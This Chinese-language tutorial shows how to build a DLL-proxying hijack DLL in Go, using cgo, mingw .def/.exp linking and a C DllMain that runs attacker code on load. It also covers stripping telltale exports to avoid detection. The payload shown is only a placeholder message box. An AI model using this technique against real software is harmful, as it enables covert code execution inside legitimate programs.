Go 語言實現 dll 惡意劫持轉發
dll 轉發概述
dll 轉發: 攻擊者使用惡意 dll 替換原始 dll,重命名原始 dll 並通過惡意 dll 將原先的功能轉發至原始 dll。
該惡意 dll 一般用來專門執行攻擊者希望攔截或修改的功能,同時將所有其他功能轉發至原始 dll
一般可與 dll 劫持共同使用。
dll 搜索順序
首先我們來看一下 Windows 系統中 dll 的搜索順序
上圖中攻擊者可以控制的就是標準搜索順序中的步驟,根據情況的不同我們可以選擇不同的方式來進行 dll 劫持
步驟
要實現 dll 轉發,一般需要以下一些步驟
-
解析原始 dll 的導出表
-
收集出要攔截修改的函數
-
在惡意 dll 中實現攔截功能
-
將所有其他函數轉發至原始 dll 上
-
重命名原始 dll
-
使用原始 dll 的名稱重命名惡意 dll
PE 文件導出表
什麼是 PE 導出表?
導出表就是當前的 PE 文件提供了哪些函數給別人調用。
並不只有 dll 纔有導出表,所有的 PE 文件都可以有導出表,exe 也可以導出函數給別人使用,一般情況而言 exe 沒有,但並不是不可以有
導出表在哪裏?
PE 文件格式在這裏並不進行詳細介紹,感興趣的讀者可以自行查閱相關資料。
PE 文件包含 DOS 頭和 PE 頭,PE 頭裏面有一個擴展頭,這裏麪包含了一個數據目錄(包含每個目錄的 VirtualAddress 和 Size 的數組。目錄包括:導出、導入、資源、調試等),從這個地方我們就能夠定位到導出表位於哪裏
導出表的結構
接下來我們看看導出表的結構
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp; //時間戳. 編譯的時間. 把秒轉爲時間.可以知道這個DLL是什麼時候編譯出來的.
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; //指向該導出表文件名的字符串,也就是這個DLL的名稱 輔助信息.修改不影響 存儲的RVA 如果想在文件中查看.自己計算一下FOA即可.
DWORD Base; // 導出函數的起始序號
DWORD NumberOfFunctions; //所有的導出函數的個數
DWORD NumberOfNames; //以名字導出的函數的個數
DWORD AddressOfFunctions; // 導出的函數地址的 地址表 RVA 也就是 函數地址表
DWORD AddressOfNames; // 導出的函數名稱表的 RVA 也就是 函數名稱表
DWORD AddressOfNameOrdinals; // 導出函數序號表的RVA 也就是 函數序號表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
我們使用 cff explorer 看看 dll 的導出表
可惜從這個圖上我們並不能觀察出導出的函數是否是一個轉發函數,我們使用 16 進制編輯器打開看看
從這個圖上我們可以看到 add 導出函數前面還有一些東西
_lyshark.dll._lyshark.add.add
這個標識告訴我們這個 dll 的導出函數 add 實際上位於 _lyshark.dll 上
dll 轉發如何工作
當我們調用轉發函數時,Windows 加載程序將檢查該 dll(即惡意 dll)所引用的 dll(即原始 dll)是否已加載,如果引用的 dll 還沒有加載到內存中,Windows 加載程序將加載這個引用的 dll,最後搜索該導出函數的真實地址,以便我們調用它
dll 轉發(dll 劫持)的一般實現
我們能在網上搜索到一些 dll 轉發(dll 劫持)的實現,基本是使用微軟 MSVC 編譯器的特殊能力 4
MSVC 支持在 cpp 源文件中寫一些鏈接選項,類似
#progma comment(linker, "/export:FUNCTION_)
列出導出函數
下面我們採用 MSVC 對 zlib.dll 實現一個樣例 5
首先我們能使用 DLL Export Viewer 工具查看並導出一個 dll 的導出表
然後我們點擊 View > HTML Report - All Functions
我們可以得到一個類似於下面的 html
給 MSVC 鏈接器生成導出指令
我們現在可以把這個 html 轉化爲 MSVC 的導出指令 5
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse
def main():
parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
args = parser.parse_args()
report = args.report
try:
f = open(report)
page = f.readlines()
f.close()
except:
print("[-] ERROR: open('%s')" % report)
return
for line in page:
if line.startswith("<tr>"):
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
function_name = cols[1]
ordinal = cols[4].split(' ')[0]
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if __name__ == '__main__':
main()
然後我們可以獲得這樣的輸出
下面的具體怎麼生成不再進行介紹,如果感興趣可以查看 Windows Privilege Escalation - DLL Proxying 或 基於 AheadLib 工具進行 DLL 劫持
dll 轉發(dll 劫持)的 mingw 實現
如果有的人和我一樣,不喜歡安裝龐大的 Visual Studio,習慣用 gcc mingw 來完成,我們也是能夠完成的
def 文件介紹
這裏我們使用 gcc 編譯器和 mingw-w64(這個是 mingw 的改進版)
此處我們不再採用直接把鏈接指令寫入代碼源文件的方式,而是採用模塊定義文件 (.Def)
模塊定義 (.def) 文件爲鏈接器提供有關導出、屬性和有關要鏈接的程序的其他信息的信息。.def 文件在構建 DLL 比較有用。詳情可參見 MSDN Module-Definition (.Def) Files
當然,我們採用這種方式的原因是因爲 .def 能被 mingw-w64 所支持,我們要做的就是在. def 文件中寫入我們要轉發到原始 dll 的所有函數的列表,並在編譯 dll 的時候在 GCC 中設置該 .def 文件參與鏈接。
簡單的示例
實現流程
這裏我們採用一個簡單的樣例,我們採用常規寫了一個 dll, 該 dll 文件導出一個 add 函數,該導出函數的作用就是把傳入的兩個數值進行相加
#include <Windows.h>
extern "C" int __declspec(dllexport)add(int x, int y)
{
return x + y;
}
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
我們將它編譯成 dll 文件
gcc add.cpp -shared -o add.dll
然後我們寫一個主程序來調用它
#include <stdio.h>
#include <Windows.h>
typedef int(*lpAdd)(int, int);
int main(int argc, char *argv[])
{
HINSTANCE DllAddr;
lpAdd addFun;
DllAddr = LoadLibraryW(L"add.dll");
addFun = (lpAdd)GetProcAddress(DllAddr, "add");
if (NULL != addFun)
{
int res = addFun(100, 200);
printf("result: %d \n", res);
}
FreeLibrary(DllAddr);
system("pause");
return 0;
}
然後我們進行編譯執行
gcc main.cpp -o main.exe
./main.exe
可以看到如下輸出
然後我們將我們剛纔生成的 add.dll 重命名爲 _add.dll
然後創建一個 .def 文件
functions.def
LIBRARY _add.dll
EXPORTS
add = _add.add @1
LIBRARY _add.dll` 代表轉發到 `_add.dll`,下面的 `EXPORTS` 定義了需要轉發的函數,`=` 前面是導出函數名,`=` 後面的 `_add` 代表要轉發到的 dll 的名稱,`add` 代表要轉發到 `_add.dll` 的哪一個導出函數,關鍵在於 `@1
我們可以拿 DLL Export Viewer 或 StudyPE+ 等工具看看
我們可以看到 Ordinal, 這個是導出函數序號,就是 @1 的來源,如果有多個導出函數,依次寫下來即可
然後編寫我們的惡意 dll
#include <Windows.h>
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
如上所示,當然,這只是一個樣例,所以我並沒有寫下任何惡意代碼
現在可以編譯我們的惡意 dll 了
gcc -shared -o add.dll evil.cpp functions.def
-
-shared 表示我們要編譯一個共享庫(非靜態)
-
-o 指定可執行文件的輸出文件名
-
add.dll 是我們想給我們的惡意 dll 起的名字
-
evil.cpp 是我們在其中編寫惡意 dll 代碼的 .cpp 文件
如果編譯成功的話,你應該能在同目錄下找到剛剛生成好的惡意 dll(add.dll)
我們再使用 PE 查看工具看看導出表
可以看到中轉輸出表上已經有了
注意我們這個 dll 並沒有寫任何功能性代碼,讓我們使用剛纔編譯的 main.exe 測試一下
可以發現功能轉發正常
當然,當導出函數過多的時候我們不可能一個個自己去導出表裏抄,可以寫一個腳本自動化完成這個工作,不過這不是我們本文的重點,或者你可以使用 mingw-w64 裏面自帶的 gendef.exe 工具
.def 和 .exp 文件
exp:
文件是指導出庫文件的文件,簡稱導出庫文件,它包含了導出函數和數據項的信息。當 LIB 創建一個導入庫,同時它也創建一個導出庫文件。如果你的程序鏈接到另一個程序,並且你的程序需要同時導出和導入到另一個程序中,這個時候就要使用到 exp 文件 (LINK 工具將使用 EXP 文件來創建動態鏈接庫)。
def:
def 文件的作用即是,告知編譯器不要以 microsoft 編譯器的方式處理函數名,而以指定的某方式編譯導出函數(比如有函數 func,讓編譯器處理後函數名仍爲 func)。這樣,就可以避免由於 microsoft VC++ 編譯器的獨特處理方式而引起的鏈接錯誤。
從上面的介紹中我們可以看出 .exp 文件可以用在鏈接階段,所以我們可以先使用 dlltool 工具將 .def 轉化爲 .exp 文件,然後編譯 evil.cpp 到 evil.o 再手動進行鏈接。
gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o
額外的說明
當然,你也可以通過 clang 來完成這項工作
clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"
我們如何用 Golang 來實現轉發 dll
Golang 提供了官方的動態鏈接庫(dll)編譯命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go,根據我們前面鋪墊的基礎,現階段所需要思考的是:如何把 .def 文件或 .exp 文件也帶入進去?
下文我將用 gcc 作爲 cgo 的外部鏈接器,clang 也可以按照同樣的思想
嘗試與思考
爲什麼不考慮利用 cgo 直接在 c 代碼中寫 #progma comment(linker, '/EXPORT'),這個的主要原因是 Golang 的 cgo 能力現階段只支持 clang 和 gcc,MSVC 編譯器並不支持 9。
讓我們現在來思考一下整個編譯流程:
-
預處理預處理用於將所有的 #include 頭文件以及宏定義替換成其真正的內容
-
編譯將經過預處理之後的程序轉換成特定彙編代碼 (assembly code) 的過程
-
彙編彙編過程將上一步的彙編代碼轉換成機器碼 (machine code),這一步產生的文件叫做目標文件,是二進制格式。gcc 彙編過程通過 as 命令完成,這一步會爲每一個源文件產生一個目標文件
-
鏈接鏈接過程將多個目標文以及所需的庫文件 (.so 等) 鏈接成最終的可執行文件(executable file)。
前三步都是在將代碼處理成二進制機器碼,而我們所要操控的導出表是屬於文件格式的一部分,所以應該是需要在鏈接這個步驟做文章
藉助這個思路,我們對上面的樣例做做文章。
首先把我們的 evil.cpp 編譯彙編成目標文件,然後鏈接時加入額外控制。
# evil.cpp 編譯彙編成 evil.o 目標文件(下面的 -O3 是爲了啓用 O3 優化,可選)
gcc -c O3 evil.cpp
# 和 .def 文件一起進行鏈接
ld -o add.dll functions.def evil.o
或者利用上文中先將 .def 轉化成 .exp 再進行手動鏈接,我們均能得到我們預期的轉發 dll。
golang 中的實現
我們的目的是需要把 .def 或 .exp 文件放入整個編譯流程的鏈接環節中去。
首先我們需要先了解一下 cgo 的工作方式 11:它用 c 編譯器編譯 c,用 Go 編譯器編譯 Go,然後使用 gcc 或 clang 將他們鏈接在一起,我們甚至能夠通過 CGO_LDFLAGS 來將 flag 傳遞至鏈接器。
在我們 Golang 程序編譯命令中,相信大家使用過 -ldflags="" 選項,這個其實是 go tool link 帶來的,go build 只是一個前端,Go 提供了一組低級工具來編譯和鏈接程序,go build 只需收集文件並調用這些工具。我們可以通過使用 - x 標誌來跟蹤它的作用。不過這裏我們並不關心這個。
我們去看看 go tool link 的說明書,幫助文件裏面提到了
-extld linker
Set the external linker (default "clang" or "gcc").
-extldflags flags
Set space-separated flags to pass to the external linker.
-extld 一般我們不需要更改,也就是我們只需要想辦法修改 -extldflags 讓鏈接過程帶入我們的 .def 或 .exp 文件即可。
但是,我們剛纔使用 ld 編譯的時候,都是直接將 .def 或 .exp 文件傳入的,如何通過 ld 的參數傳入呢?
在 gcc 的鏈接選項 裏,有一個選項是 -Wl,用法爲 -Wl,option,它的作用就是將 - Wl 後的 option 作爲標識傳遞給 ld 命令,如果 option 中包含 ,,則根據 , 拆分爲多個標識傳遞給 ld,可能看到這裏你對於這個選項還是一知半解,下面舉個例子
gcc -c evil.cpp
ld -o add.dll functions.def evil.o
等同於
gcc -shared -o add.dll -Wl,functions.def evil.cpp
等同於
gcc -shared -Wl,functions.def,-o,add.dll evil.cpp
也就是 -Wl 後面的東西都會傳遞鏈接器
所以我們將 .def 或 .exp 文件利用 -Wl 選項設置到 -extldflags 上去即可。
所以我們現在可以創建一個樣例 go 程序用來編譯 dll
main.go
package main
import "C"
func main() {
// Need a main function to make CGO compile package as C shared library
}
然後進行編譯
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go
注意:-Wl 後面要寫上 .def 或 .exp 文件的絕對路徑,主要是由於調用程序時候的工作路徑問題,只需要記住這一點即可。
現在我們得到了一個 golang 編譯出來的轉發 dll
當然,你可能會對那個 _cgo_dummy_export 導出函數比較疑惑,這個是 golang 編譯的 dll 所特有的,如果你想要去除掉它,可以使用 .exp 來進行鏈接
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go
dll 轉發的總結
其實 cgo 主要的編譯手段爲:用 c 編譯器編譯 c,用 Go 編譯器編譯 Go,然後使用 gcc 或 clang 將他們鏈接在一起。我們所需要做的只是將它們粘合在一起。
在 Golang 中如何實現惡意 dll
我們已經知道了該怎麼在 Golang 中實現轉發 dll,接下來我們可以嘗試實現惡意 dll 了。
init 寫法
如果你看這篇文章,相信你已經知道 Go 會默認執行包中的 init() 方法。所以我們可以把我們的惡意代碼定義到這個函數里面去。
一般的 dll 實現方式爲
package main
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
我們只需要加上一個 init 方法,並且讓惡意代碼異步執行即可(防止 LoadLibrary 卡住)
package main
func init() {
go func() {
// 你的惡意代碼
}()
}
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
對於 windows dll 更細粒度的控制
對於 windows dll,DllMain11 是一個可選的入口函數
對於 DllMain 的介紹,我這裏就不再贅述了,感興趣的可以自行進行查詢
系統是在什麼時候調用 DllMain 函數的呢?靜態鏈接或動態鏈接時調用 LoadLibrary 和 FreeLibrary 都會調用 DllMain 函數。DllMain 的第二個參數 fdwReason 指明瞭系統調用 Dll 的原因,它可能是::
-
DLL_PROCESS_ATTACH: 當一個 DLL 文件首次被映射到進程的地址空間時
-
DLL_PROCESS_DETACH: 當 DLL 被從進程的地址空間解除映射時
-
DLL_THREAD_ATTACH: 當進程創建一線程時,第 n(n>=2) 次以後地把 DLL 映像文件映射到進程的地址空間時,是不再用 DLL_PROCESS_ATTACH 調用 DllMain 的。而 DLL_THREAD_ATTACH 不同,進程中的每次建立線程,都會用值 DLL_THREAD_ATTACH 調用 DllMain 函數,哪怕是線程中建立線程也一樣
-
DLL_THREAD_DETACH: 如果線程調用了 ExitThread 來結束線程(線程函數返回時,系統也會自動調用 ExitThread),系統查看當前映射到進程空間中的所有 DLL 文件映像,並用 DLL_THREAD_DETACH 來調用 DllMain 函數,通知所有的 DLL 去執行線程級的清理工作
這些流程根據你自己的需求來進行控制。當然,如果你有過 Windows 編程經驗,應該對這個比較熟悉。
Golang 是一個有 GC 的語言,需要在加載時運行 Golang 本身的運行時,所以暫時沒有太好的方案在 Golang 中實現 DllMain 讓外層直接調用入口點,因爲沒有初始化運行時。
我們可以變相通過 cgo 來實現這個目的。總體思路爲,利用 C 來寫 DllMain,通過 c 來調用 Golang 的函數
以下示例代碼大多來自 github.com/NaniteFactory/dllmain
c 實現 DllMain
首先我們可以在 c 中定義我們自己的 DllMain
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
lpThrdParam->hinstDLL = _hinstDLL;
lpThrdParam->fdwReason = _fdwReason;
lpThrdParam->lpReserved = _lpReserved;
HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
注意此處最好使用 CreateThread 來進行外部 Go 函數的調用,不然可能因爲初始化 Go 運行時的問題導致死鎖。
我們在該代碼中 DLL_PROCESS_ATTACH 時異步調用了 OnProcessAttach,我們在 Golang 中實現這個惡意函數
Golang 惡意代碼
我們現在來定義我們的惡意代碼實現
package main
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
const (
NULL = 0
MB_OK = 0
)
return MessageBox(NULL, caption, title, MB_OK)
}
// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
hinstDLL unsafe.Pointer, // handle to DLL module
fdwReason uint32, // reason for calling function
lpReserved unsafe.Pointer, // reserved
) {
MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
此處我們實現了惡意函數 OnProcessAttach,只是彈個窗來模擬惡意代碼。
組合 Golang 和 c 編譯
現在我們有了 .go 和 .c,還需要把它們兩個粘合起來
第一種方案
你可以通過 cgo 的一般寫法,在 .go 的註釋中把 c 代碼拷貝進去,例如
package main
/*
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
...c源碼文件
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
...go 源碼文件
第二種方案
或者你也可以給 .c 寫一個頭文件 .h,然後在 .go 中導入這個頭文件,在 go build 的時候 Go 編譯器會默認找到該目錄下的 .c、.h、.go 一起編譯。
比如你可以創建一個 .h 文件
#include <windows.h>
void OnProcessAttach(HINSTANCE, DWORD, LPVOID);
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved // reserved
);
然後在 .go 中引用它
package main
/*
#include "dllmain.h"
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
然後就可以一起編譯了。
導出表的問題
確實,現在我們可以編譯出惡意的轉發 dll 了,但是我們可能會發現導出表裏面其實有很多奇奇怪怪的導出函數
這些導出函數可能會成爲某些特徵
我們的原始 dll 並沒有這些導出函數,但是生成的轉發 dll 這麼多奇怪的導出函數該怎麼去掉?
我們可以同樣可以使用上文的 exp 文件來解決,它就是一個導出庫文件,來定義有哪些導出的。
根據上文的方法我們使用 dlltool 從 def 文件生成一個 exp 文件,然後編譯時加入鏈接即可。
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"
ldflags 裏面的新增的 -s -w 只是爲了減小一點體積去除一下符號,可選。
最後的最後
倉庫相關示例已經上傳至 github.com/akkuman/go-dll-evil
感興趣的可以查看。
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/8yMyTIWPeaw8y5ggMZ123A